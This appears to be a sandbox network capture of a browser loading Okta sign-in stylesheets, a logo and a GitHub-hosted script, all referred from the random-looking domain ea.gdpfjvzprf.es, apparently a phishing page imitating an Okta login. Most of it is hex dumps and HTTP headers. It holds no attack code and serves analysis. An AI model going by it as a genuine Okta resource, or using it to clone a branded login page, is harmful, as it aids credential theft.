77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 39 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 71 Data Ascii: @charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.q
2025-03-26 23:32:02 UTC	16384	IN	Data Raw: 66 6f 72 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 69 73 6d 69 73 73 2d 69 63 6f 6e 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 7b 73 70 65 61 6b 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d Data Ascii: fore{font-size:32px;position:absolute}#okta-sign-in .dismiss-icon,#okta-sign-in [class="-32"]:after,#okta-sign-in [class="-32"]:before,#okta-sign-in [class^="-32"]:after,#okta-sign-in [class^="-32"]:before{speak:none;-webkit-font-smoothing:antialiased;-
2025-03-26 23:32:02 UTC	16384	IN	Data Raw: 6e 74 3a 22 5c 65 30 31 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 72 65 6d 6f 76 65 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 61 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 35 65 35 65 35 65 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 31 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 72 65 6d 6f 76 65 Data Ascii: nt:"\e01d"}#okta-sign-in .group-remove-16:after{color:#007cc0;content:"\e00a"}#okta-sign-in .group-member-add-16:before{color:#5e5e5e;content:"\e00d"}#okta-sign-in .group-member-add-16:after{color:#007cc0;content:"\e001"}#okta-sign-in .group-member-remove
2025-03-26 23:32:02 UTC	14808	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 39 66 39 66 39 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 72 6f 70 64 6f 77 6e 2e 6d 6f 72 65 2d 61 63 74 69 6f 6e 73 20 2e 6f 70 74 69 6f 6e 2d 73 65 6c 65 63 74 65 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 3b 66 6c 6f 61 74 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 20 32 32 70 78 20 30 20 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 61 67 65 2d 6c 69 6e 6b 73 20 2e 64 72 6f 70 64 6f 77 6e 2e 6d 6f 72 65 2d 61 63 74 69 6f 6e 73 20 2e 6f 70 74 69 6f 6e 2d 73 65 6c 65 63 74 65 64 7b Data Ascii: background:#f9f9f9}#okta-sign-in .dropdown.more-actions .option-selected{color:#333;float:none!important;overflow:hidden;padding:0 22px 0 8px!important;position:relative;white-space:nowrap}#okta-sign-in .page-links .dropdown.more-actions .option-selected{
2025-03-26 23:32:02 UTC	16384	IN	Data Raw: 70 65 61 74 20 2d 33 30 70 78 20 2d 32 30 70 78 2c 2d 6d 6f 7a 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 70 2c 23 65 65 65 20 31 25 2c 23 66 66 66 20 31 35 25 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 75 69 2f 66 6f 72 6d 73 2f 63 68 6f 73 65 6e 2d 73 70 72 69 74 65 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 2d 33 30 70 78 20 2d 32 30 70 78 2c 2d 6f 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 70 2c 23 65 65 65 20 31 25 2c 23 66 66 66 20 31 35 25 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 75 69 2f 66 6f 72 6d 73 2f 63 68 6f 73 65 6e 2d 73 70 72 69 74 65 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 2d 33 30 70 78 20 2d 32 30 70 78 2c 6c 69 6e 65 61 72 2d 67 72 61 Data Ascii: peat -30px -20px,-moz-linear-gradient(top,#eee 1%,#fff 15%);background:url(../img/ui/forms/chosen-sprite.png) no-repeat -30px -20px,-o-linear-gradient(top,#eee 1%,#fff 15%);background:url(../img/ui/forms/chosen-sprite.png) no-repeat -30px -20px,linear-gra
2025-03-26 23:32:02 UTC	16384	IN	Data Raw: 74 61 69 6e 65 72 20 2e 6f 2d 66 6f 72 6d 2d 74 6f 6f 6c 62 61 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 69 6d 70 6c 65 6d 6f 64 61 6c 2d 77 72 61 70 20 2e 6f 2d 66 6f 72 6d 2d 74 6f 6f 6c 62 61 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 31 70 78 20 31 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 69 6d 70 6c 65 6d 6f 64 61 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6f 2d 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 69 6d 70 6c 65 6d 6f 64 61 6c 2d 77 72 61 70 20 2e 6f 2d 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 7b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 69 6d 70 6c 65 6d 6f 64 61 6c 2d 77 72 61 Data Ascii: tainer .o-form-toolbar,#okta-sign-in .simplemodal-wrap .o-form-toolbar{border-radius:0;border-width:0 1px 1px}#okta-sign-in .simplemodal-container .o-form-content,#okta-sign-in .simplemodal-wrap .o-form-content{overflow:auto}#okta-sign-in .simplemodal-wra
2025-03-26 23:32:02 UTC	16384	IN	Data Raw: 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2e 6d 61 72 67 69 6e 2d 62 74 6d 2d 30 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 6c 61 62 65 6c 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 69 6e 70 75 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 6c 61 62 65 6c 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 74 65 78 74 61 72 65 61 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 6f 2d Data Ascii: hild{margin-bottom:15px}#okta-sign-in .o-form .o-form-fieldset.margin-btm-0{margin-bottom:0}#okta-sign-in .o-form .o-form-label,#okta-sign-in .o-form input,#okta-sign-in .o-form label,#okta-sign-in .o-form textarea{font-size:14px}#okta-sign-in .o-form .o-
2025-03-26 23:32:02 UTC	15094	IN	Data Raw: 74 6f 6d 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 76 69 73 69 74 65 64 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 75 74 74 6f 6e 2d 73 65 63 6f 6e 64 61 72 79 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 31 36 36 32 64 64 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 63 6f 6c 6f 72 3a 23 31 36 36 32 64 64 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 Data Ascii: tom-button.link-button:visited{text-decoration:none}#okta-sign-in .button-secondary.link-button{background-color:#fff;border:1px solid #1662dd;border-radius:3px;box-sizing:border-box;color:#1662dd;display:block;font-size:14px;margin-top:15px;text-align:ce
2025-03-26 23:32:02 UTC	14368	IN	Data Raw: 64 20 2e 73 63 6f 70 65 2d 6c 69 73 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 74 69 74 6c 65 2d 74 65 78 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 73 63 6f 70 65 2d 6c 69 73 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 74 69 74 6c 65 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 31 64 31 64 32 31 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 63 75 73 74 6f 6d 2d 6c 6f 67 6f 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 64 65 66 61 75 6c 74 2d 6c 6f 67 6f 2c 23 6f 6b 74 Data Ascii: d .scope-list,#okta-sign-in .consent-required .title-text,#okta-sign-in .granular-consent .scope-list,#okta-sign-in .granular-consent .title-text{color:#1d1d21}#okta-sign-in .consent-required .custom-logo,#okta-sign-in .consent-required .default-logo,#okt
2025-03-26 23:32:02 UTC	12792	IN	Data Raw: 6b 74 61 2d 69 6e 66 6f 62 6f 78 2d 65 72 72 6f 72 20 62 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 76 65 72 69 66 79 2d 77 69 6e 64 6f 77 73 2d 68 65 6c 6c 6f 20 2e 6f 6b 74 61 2d 69 6e 66 6f 62 6f 78 2d 65 72 72 6f 72 20 62 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 77 69 6e 64 6f 77 73 2d 68 65 6c 6c 6f 20 2e 6f 6b 74 61 2d 77 61 69 74 69 6e 67 2d 73 70 69 6e 6e 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 76 65 72 69 66 79 2d 77 69 6e 64 6f 77 73 2d 68 65 6c 6c 6f 20 2e 6f 6b 74 61 2d 77 61 69 74 69 6e 67 2d 73 70 69 6e 6e 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e Data Ascii: kta-infobox-error b,#okta-sign-in .verify-windows-hello .okta-infobox-error b{font-weight:700}#okta-sign-in .enroll-windows-hello .okta-waiting-spinner,#okta-sign-in .verify-windows-hello .okta-waiting-spinner{margin-bottom:20px;margin-top:20px}#okta-sign

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:32:02 UTC	649	OUT	GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://ea.gdpfjvzprf.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:32:02 UTC	768	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 10498 Connection: close Date: Mon, 17 Mar 2025 17:37:07 GMT Server: nginx Last-Modified: Thu, 14 Mar 2024 00:03:58 GMT ETag: "e0d37a504604ef874bad26435d62011f" x-amz-meta-sha1sum: 4301f0d2b729ae22adece657d79eccaa25f429b1 Expires: Tue, 17 Mar 2026 17:37:07 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 75b993b111cd9fbf19d5284ea3de78ec.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: jurhnifdfasp5biK8IIKCh-paMZ7CT7EwHdds_YGKj9QQ7NJ_LdrjA== Age: 798895
2025-03-26 23:32:02 UTC	9594	IN	Data Raw: 61 2c 61 62 62 72 2c 61 63 72 6f 6e 79 6d 2c 61 64 64 72 65 73 73 2c 61 70 70 6c 65 74 2c 62 2c 62 69 67 2c 62 6c 6f 63 6b 71 75 6f 74 65 2c 62 6f 64 79 2c 63 61 70 74 69 6f 6e 2c 63 65 6e 74 65 72 2c 63 69 74 65 2c 63 6f 64 65 2c 64 64 2c 64 65 6c 2c 64 66 6e 2c 64 69 76 2c 64 6c 2c 64 74 2c 65 6d 2c 66 69 65 6c 64 73 65 74 2c 66 6f 72 6d 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 74 6d 6c 2c 69 2c 69 66 72 61 6d 65 2c 69 6d 67 2c 69 6e 73 2c 6b 62 64 2c 6c 61 62 65 6c 2c 6c 65 67 65 6e 64 2c 6c 69 2c 6f 62 6a 65 63 74 2c 6f 6c 2c 70 2c 70 72 65 2c 71 2c 73 2c 73 61 6d 70 2c 73 6d 61 6c 6c 2c 73 70 61 6e 2c 73 74 72 69 6b 65 2c 73 74 72 6f 6e 67 2c 73 75 62 2c 73 75 70 2c 74 61 62 6c 65 2c 74 62 6f 64 79 2c 74 64 2c 74 66 6f 6f 74 2c 74 Data Ascii: a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,t
2025-03-26 23:32:02 UTC	904	IN	Data Raw: 36 32 64 64 3b 63 6f 6c 6f 72 3a 23 31 36 36 32 64 64 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 64 70 2d 70 69 76 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 64 70 2d 70 69 76 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 64 70 2d 70 69 76 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 35 65 64 66 62 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 31 32 34 61 39 34 3b 63 6f 6c 6f 72 3a 23 31 32 34 61 39 34 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 61 75 74 68 2d 66 6f 6f 74 65 72 20 2e 68 65 6c Data Ascii: 62dd;color:#1662dd}#okta-sign-in .idp-piv-button.link-button:active,#okta-sign-in .idp-piv-button.link-button:focus,#okta-sign-in .idp-piv-button.link-button:hover{background-color:#e5edfb;border-color:#124a94;color:#124a94}#okta-sign-in .auth-footer .hel

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:32:02 UTC	694	OUT	GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ea.gdpfjvzprf.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:32:02 UTC	957	IN	HTTP/1.1 302 Found Date: Wed, 26 Mar 2025 23:30:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame,Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250326%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250326T233055Z&X-Amz-Expires=300&X-Amz-Signature=13d21fcf4c164da32284efdf877054e0fa4e7267c06bd26c89640e60e8318718&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-03-26 23:32:02 UTC	3389	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.githu

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:32:02 UTC	651	OUT	GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://ea.gdpfjvzprf.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:32:02 UTC	875	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 10796 Connection: close Date: Wed, 12 Mar 2025 01:03:00 GMT Server: nginx Last-Modified: Tue, 23 Feb 2021 04:20:08 GMT ETag: "12bdacc832185d0367ecc23fd24c86ce" Expires: Thu, 12 Mar 2026 01:03:00 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Content-Security-Policy: default-src 'none'; img-src 'self'; require-trusted-types-for 'script'; report-uri https://oktacsp.report-uri.com/r/t/csp/enforce X-Content-Type-Options: nosniff Accept-Ranges: bytes X-Cache: Hit from cloudfront Via: 1.1 909ec3586e2eba60d35c2f3468905558.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: msSiQMESGGUwnrrWMM3YghDCkefqnTnFuWfQUVWkOXwd2JAwprwaBQ== Age: 1290542
2025-03-26 23:32:02 UTC	9594	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 a4 00 00 00 5e 08 06 00 00 00 6c 32 60 fe 00 00 29 f3 49 44 41 54 78 da ed 7d 09 9c 1c 55 9d ff a0 8b 20 77 a6 eb bd 1a 42 10 10 50 24 8a 48 76 09 c9 74 d5 ab ea 09 91 b8 a0 78 84 45 41 40 04 51 60 81 45 14 d0 15 02 88 c8 2d ec 8a 9c 22 97 28 e7 9f e5 58 60 89 11 44 2e c3 11 c8 35 5d 5d 55 7d cd 95 c9 9d 90 83 24 33 ff df af aa 26 e9 cc bc d7 67 75 4f 77 cf fb 7d 3e ef 13 98 99 ae 7e f5 8e df f7 77 ff 5a 5a 9a 84 12 7a eb be 96 d6 46 5a 24 49 92 24 49 92 a4 d1 a0 b8 4e fe b3 c7 a4 9d 09 9d ac 74 74 b2 24 65 90 c5 09 4d f9 c5 bc e9 ea ae 72 75 24 49 92 24 49 52 d5 68 81 41 76 4b 30 c5 74 19 b9 77 79 87 3a 98 31 e8 a0 a5 93 c1 44 ce 48 c3 cf d6 4c 53 07 01 98 92 69 46 7e b6 58 8f c4 e0 73 6d 72 f5 24 Data Ascii: PNGIHDR^l2`)IDATx}U wBP$HvtxEA@Q`E-"(X`D.5]]U}$3&guOw}>~wZZzFZ$I$INtt$eMru$I$IRhAvK0twy:1DHLSiF~Xsmr$
2025-03-26 23:32:02 UTC	1202	IN	Data Raw: 6c 0b 68 b0 eb d0 ec 96 af 0a 75 49 60 6e 28 c7 02 b3 5f ea 32 ba 1e 99 8d 5d c4 39 4a e0 5c 19 59 9f 62 64 75 5c a3 d7 0f d6 28 10 0a 19 7c 5c 27 cf f6 c6 e8 1a 2f e9 14 d6 c3 29 ee cc e3 f8 28 03 67 1e f8 4a 12 d6 6f 46 2d cf 3c 86 ab 83 e6 d8 99 82 7d c6 35 2e 30 e7 cd de df e9 4a a6 33 24 cd 0d db a9 c3 ba fd 0f 08 68 ab 41 8b 2d 6a dd 72 f7 3a 89 e7 13 bb 12 54 62 c6 f7 aa c3 6a ca 99 59 43 7d ba 27 a6 3e 0d 8c e0 1a 5b 57 be e3 46 23 93 ab 29 15 84 76 f8 98 fa 03 09 48 45 48 ba 53 26 7c d2 31 31 9a 8e 1e df 1b 53 cf 74 74 7a 03 8c fb 50 32 83 03 f5 38 86 f0 c3 be ff 2e 6d a8 3f ef ed 50 4f 8c 63 de 8a 4e 0e 6e 91 54 37 b4 e8 c8 7d 22 16 08 18 59 83 9c 9a 34 c9 d5 36 a3 7f c4 7a 78 c1 f8 73 d2 a0 d7 f7 99 f4 14 4b a7 d3 d3 47 57 a7 90 26 32 cd 4e 2d Data Ascii: lhuI`n(_2]9J\Ybdu\(\|\'/)(gJoF-<}5.0J3$hA-jr:TbjYC}'>[WF#)vHEHS&\|11SttzP28.m?POcNnT7}"Y46zxsKGW&2N-

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:32:02 UTC	1355	OUT	GET /GDSherpa-vf.woff2 HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive Origin: https://ea.gdpfjvzprf.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
